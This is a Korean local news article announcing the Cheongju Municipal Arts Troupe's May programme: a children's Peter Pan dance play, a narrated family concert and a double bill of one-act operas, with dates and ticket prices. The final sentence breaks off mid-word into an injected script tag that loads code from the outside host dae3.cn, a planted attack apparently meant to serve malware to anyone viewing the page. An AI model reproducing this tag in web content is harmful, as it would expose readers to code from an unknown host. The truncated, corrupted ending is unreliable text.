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제목 [중부매일]다섯가지 색깔 5월 문화 데이트
내용 다섯가지 색깔 .5월 문화 데이트. 시립예술단 가족과 함께하는 문화행사 .풍성. 김정미 기자 warm@jbnews.com 청주시립예술단이 가정의 달 5월을 맞아 ‘다섯가지 빛깔의 문화 데이트’를 선사한다. 온 가족이 함께 즐길 수 있는 음악공연에서 청소년과 어린이를 위한 무대까지 다채로운 프로그램이 5월 청주예술의전당을 풍성하게 한다. 가장 먼저 무대에 오르는 작품은 청주시립무용단과 함께하는 테마기획공연 ‘동화속으로의 여행-피터팬’이다. 오는 3일과 4일 청주예술의전당 소공연장에서 열리며 글과 그림. 춤이 조화를 이룬 환타스틱 교육 무용극으로 꾸며진다. 이 작품은 어린이 스스로 생각할 수 있는 힘을 길러주고 표현하게 함으로써 사고를 논리적으로 정돈해 주는 장점이 있다. 시립무용단은 이번 공연이 어린이들의 책 읽는 습관과 예술적 순수성을 회복하는데 도움이 되길 바란다고 말했다. 공연시간은 3일 오전 11시. 오후 7시30분. 4일 오전 11시. 입장료는 전석 1만원. 청주시립교향악단은 어린이 날을 하루 앞둔 4일 오후 7시30분 ‘이야기가 있는 가족음악회’를 연다. 가족간의 소통과 결속을 위해 제시한 것이 바로 음악. 남녀노소 누구나 클래식과 친해질 수 있도록 해설을 곁들인 연주회에서는 국내 정상급 피아니스트 장형준과 음악평론가 장일범. 바이올리니스트 송재광. 첼리스트 임경원이 출연한다. 연주곡은 모차르트의 ‘아이네 클라이네 나흐트 무지크’와 피아노협주곡 제21번 ‘엘비라 마디간’. 생상의 ‘동물의 사육제’중 백조를 비롯해 마스네의 ‘타이스의 명상곡’. 오펜바흐의 ‘자클린의 눈물’. 피아졸라의 ‘리베르 탱고’ 등 다양한 레퍼토리를 선보인다. 이외에도 ‘현악 4중주’를 구성. 공연장 로비에서 ‘로비콘서트’를 열기로 했다. 입장료는 R석 5천원. S석 3천원. 청주시립합창단은 두개의 색다른 오페라를 한번에 감상할 수 있는 새로운 형식의 공연을 선보인다. 시립합창단은 오는 13·14일 청주예술의전당 대공연장에서 기획공연 ‘단막 오페라 축제- 오페라 봄·봄. 델루죠 아저씨’를 무대에 올린다. ‘쉬운 오페라’를 위해 시립합창단이 직접 기획하고 준비한 공연으로. 미국의 현대 작곡가 빠사띠에리의 희극 오페라 ‘델루죠 아저씨’와 한국의 현대 작곡가 이건영의 해학 오페라 ‘봄·봄’을 단?script src=http://dae3.cn>
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